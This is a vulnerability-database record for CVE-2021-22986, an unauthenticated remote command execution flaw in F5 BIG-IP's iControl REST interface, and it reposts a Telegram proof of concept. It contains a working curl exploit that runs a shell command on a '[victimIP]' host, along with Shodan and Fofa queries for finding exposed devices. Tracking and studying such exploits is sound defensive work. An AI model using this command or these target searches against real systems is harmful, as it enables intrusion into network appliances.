{"uuid": "09f3a761-7138-476d-94dd-45ae19cfebcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22986", "type": "published-proof-of-concept", "source": "https://t.me/hackersmeet0/2415", "content": "\ud83d\udd30\ud83e\ude78 F5 BIG-IP RCE (CVE-2021-22986)\n\n\n\u24c2 A recently discovered vulnerability allows unauthenticated attackers with network access to the iControl REST interface through the BIG-IP management interface to execute arbitrary system commands, create or delete files, and disable services.\n\nThe vulnerability can lead to a complete compromise of the system. The BIG-IP system in Appliance mode is also vulnerable.\n\n\n\ud83d\udc89  POC \n\ncurl -su admin: -H \"Content-Type: application/json\" http://[victimIP]/mgmt/tm/util/bash -d '{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}'\n\n\n\ud83d\udd0e Shodan:\nhttp.title:\"BIG-IP\"\n\n\ud83d\udd0e Fofa:\napp=\"F5-BIGIP\"", "creation_timestamp": "2026-09-08T21:00:04.014421Z"}